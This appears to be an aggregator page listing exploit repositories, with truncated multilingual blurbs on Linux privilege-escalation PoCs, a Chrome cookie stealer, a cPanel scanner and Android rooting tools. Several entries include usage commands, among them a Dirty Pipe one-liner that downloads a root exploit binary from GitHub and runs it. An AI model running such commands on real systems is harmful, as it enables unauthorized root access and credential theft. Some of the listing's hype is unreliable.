CVE-2017-16995

CVE-2017-16995 此仓库包含来自 ExploitDB 的两个 C 语言漏洞利用程序，用于在 Ubuntu 16.04 上利用 CVE-2017-16995 漏洞进行权限提升。 📂 文件列表 44298.c 45010.c 两者是采用不同方法的漏洞利用程序，均可用于从普通用户获取 root 访问权限。 ⚙️ 编译方法 使用 gcc 将 C 文件编译为二进制文件。示例： root@kitploit: gcc -o exploit1 44298.c gcc -o exploit2 45010.c 或为快速试验使用相同输出名称： root@kitploit: gcc -o a...

copy-fail-mcp

Copy Fail MCP 📖 Guía de instalación — inicio rápido, configuración manual y solución de problemas CVE-2026-31431 — La peor vulnerabilidad de Linux jamás descubierta. Ahora controlable mediante MCP. 732 bytes de Python. Sin compilación. Sin condición de carrera. Sin offsets por distribución. Un so...

cookie_crimes

无需 Root 权限的 Chrome Cookie 提取 该工具会打印用户的 Chrome 浏览器 Cookie。你无需知道他们的密码，也无需 root 权限就能使用。非常棒非常棒非常棒非常棒。 如果你不是那种经常能在别人电脑上执行代码的人，那你大概不会在意这个。 特性 以精美的 JSON 格式打印所有 Chrome Cookie 无需 root 权限或用户密码即可工作 支持 Windows、Linux、macOS 实际上也支持 Microsoft Edge 浏览器 从任意 Chrome 用户配置文件中获取 Cookie 永远不会已读不回 能烤出一份像样的千层面 可编译为单个二进制文件...

CVE-2024-23334-PoC

CVE-2024-23334-PoC A proof of concept of the LFI vulnerability on aiohttp 3.9.1. The option 'followsymlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'followsymlinks' is set to True, there is no validation to check if reading a file is with...

Mediatrix-CVE-2022-43096

CVE-2022-43096 CVSS v3.1 Vector: AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N 7,3 描述 Mediatrix 4102 在 v48.5.2718 之前的版本允许本地攻击者通过 UART 端口获取 root 访问权限。 漏洞类型 不正确的访问控制 供应商产品 Mediatrix 受影响产品代码库 Mediatrix 4102 - 版本低于 v48.5.2718 受影响组件 UART 端口 攻击类型 物理 影响代码执行 true 影响权限提升 true 影响信息泄露 true 参考 摘要 ID：DGW-15338...

CVE-2025-32463_illdeed

CVE-2025-32463 — sudo -R 权限提升漏洞利用（illdeed 变体） 这是一个重构后的概念验证（PoC）漏洞利用，针对 CVE-2025-32463，该漏洞影响 sudo 1.9.14 至 1.9.17 版本，允许通过 sudo -R 和伪造的 NSS 模块实现本地权限提升至 root 。 ⚠️ 该版本会创建一个名为 illdeed 的有效负载，用于追踪和取证测试。 💥 工作原理 创建伪造的 chroot 目录，内含自定义 nsswitch.conf 编译恶意共享对象 libnssilldeed.so.2 使用 sudo -R 执行任意 root 命令...

cpanel2shell-scanner

cpanel2shell-scanner 一个用于跟踪的cPanel/WHM认证绕过漏洞 CVE-2026-41940 的高保真扫描器。它能识别易受攻击的主机，而不会产生公共PoC和检测中常见的假阴性，也不会触发干扰简单扫描的账户锁定和根IP白名单机制。 该工具还附带了一个独立的、可选利用链，用于同一家族的cpdavd上的CalDAV路径遍历漏洞（端口2079明文/2080 TLS）—— CVE-2026-29205 —— 一旦一个小的SMTP驱动设置步骤成功，远程攻击者就可以以root身份 读取任意文件。cPanel 11.134.0.26...

bugstropics

Cazando bugs en los trópicos Este es un repositorio con las diapositivas utilizadas en mi presentación «Hunting Bugs in the Tropics» en DEFCON30. Incluye el script de Python utilizado para calcular la contraseña de soporte basándose en la clave privada obtenida al romper la clave pública EC del...

Gombruc

Gombruc Linux（所有版本）的权限提升工具 此漏洞与 CVE-2025-0401 相关，影响所有 Linux 系统。借助此 bash 脚本，您可以为您的用户分配任何级别的访问权限，最高可达 Root 权限。警告：此漏洞利用工具仅用于教育目的，任何利用此漏洞的行为均存在风险。 提示 要在 Linux 上使用 Gombruc，请遵循以下步骤： 步骤 1. chmod +x Gombruc.sh 步骤 2. ./Gombruc.sh 步骤 3. 享受提升后的 "root" 访问权限级别...

exploit_CVE-2021-3560

CVE-2021-3560 利用脚本 此脚本利用 polkit 中的 CVE-2021-3560 漏洞实现权限提升至 root。 使用方法 在克隆仓库后，赋予执行权限并运行脚本： root@kitploit: chmod +x exploit.sh ./exploit.sh 预期结果 运行脚本后，将创建一个具有 root 权限的新用户。你可以使用脚本中指定的凭据登录： root@kitploit: ROOTUSER="john" ROOTPASS="john@123" 示例登录 root@kitploit: su john Password: john@123 sudo su whoam...

nexmon

What is nexmon? Nexmon is our C-based firmware patching framework for Broadcom/Cypress WiFi chips that enables you to write your own firmware patches, for example, to enable monitor mode with radiotap headers and frame injection. Below, you find an overview what is possible with nexmon. This...

CVE-2024-23334-PoC

Path Traversal PoC CVE-2024-23334 Este script es una prueba de concepto PoC para la vulnerabilidad CVE-2024-23334 relacionada con un Path Traversal. El script intenta acceder a archivos fuera del directorio raíz permitido mediante la manipulación de rutas en solicitudes HTTP. Requisitos Para...

CVE-2024-3400

CVE-2024-3400 Descripción Una inyección de comandos como resultado de una vulnerabilidad de creación arbitraria de archivos en la función GlobalProtect del software PAN-OS de Palo Alto Networks para versiones específicas de PAN-OS y distintas configuraciones de funciones puede permitir a un...

GhostLock-for-OnePlus

GhostLock — OnePlus Exploit de kernel dirigido a dispositivos OnePlus con bootloader bloqueado. Utiliza CVE-2026-43499 para obtener acceso root sin desbloquear el bootloader ni modificar boot.img. Solo para investigación de seguridad autorizada y fines educativos. Tabla de contenido Descripción...

CVE-2023-28432

CVE-2023-28432 CVE-2023-28432 Minio Information isclosure Exploit Usage 将url写入urls.txt，直接运行python CVE-2023-28432.py 即可 兼容格式：http://ip:port，ip:port root@kitploit: python CVE-2023-28432.py ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ █████╗ ██╗ ██╗██████╗ ██████╗ ██╔════╝██║...

Dirty-Pipe

一键利用 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

Root-My-Galaxy-S938B

Root My Galaxy — S938B Root My Galaxy es un instalador basado en perfiles de firmware para root temporal de KernelSU en builds de Samsung compatibles. Este fork se mantiene para el Galaxy S25 Ultra SM-S938B que ejecuta: root@kitploit: Build: BP4A.251205.006.S938BXXSBCZG3 Kernel:...

CVE-2021-4034

CVE-2021-4034 Polkit 的概念验证 Polkit 是什么？ Policy Toolkit（即 Polkit）自 2009 年发布以来，允许任何无 root 权限的攻击者轻松获得对安装了 Polkit 包的 Linux 系统的管理访问权限。不幸的是（也许不是），它在大多数 Linux 发行版中都是默认安装的，这使得该漏洞非常普遍。 幸运的是（也许不是），这个漏洞无法远程利用，因此它属于本地权限提升（LPE）漏洞。 但 Polkit 究竟是什么？ Polkit 是大多数 Linux 授权系统的一部分。当执行任何需要管理权限的操作时，Polkit...

CVE-2022-22057_SM-F926U

Fork 这是我从原漏洞利用（此处）为 SM-F926U 进行的适配。 特别感谢 m-y-mo 发现该漏洞，并在我将其移植到 SM-F926U 并使其可用期间，以极大的耐心回答我所有的问题。 我已添加一个基于 Shizuku 代码的启动守护进程 libtimeline.so。 添加了一个技巧，使临时 root 解决方案能够 稳定 工作（见下文）。 免责声明：我对设备损坏、数据丢失、数据被盗、设备安全性概不负责。 免责声明 2：我不是开发者，更像是一个专业修补者。如果你遇到问题，我可能会尽力帮忙，也可能永远不会再看这个帖子，请自行承担风险。 要求： 固件版本为 F926UXXS1BUL6...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - vsFTPd 2.3.4 漏洞利用实验室 概述 本项目演示了针对一个故意存在漏洞的机器 Metasploitable 2 的渗透测试工作流程。 目标在于识别、利用并分析 FTP 服务中的一个已知漏洞，最终实现 root 级别访问 并评估安全影响。 实验环境搭建 攻击机： Ubuntu（虚拟机） 目标机： Metasploitable 2（虚拟机） 网络配置： 仅主机网络（192.168.56.0/24） 目标验证 验证了目标系统及其网络配置： root@kitploit: whoami hostname ifconfig 连通性检查...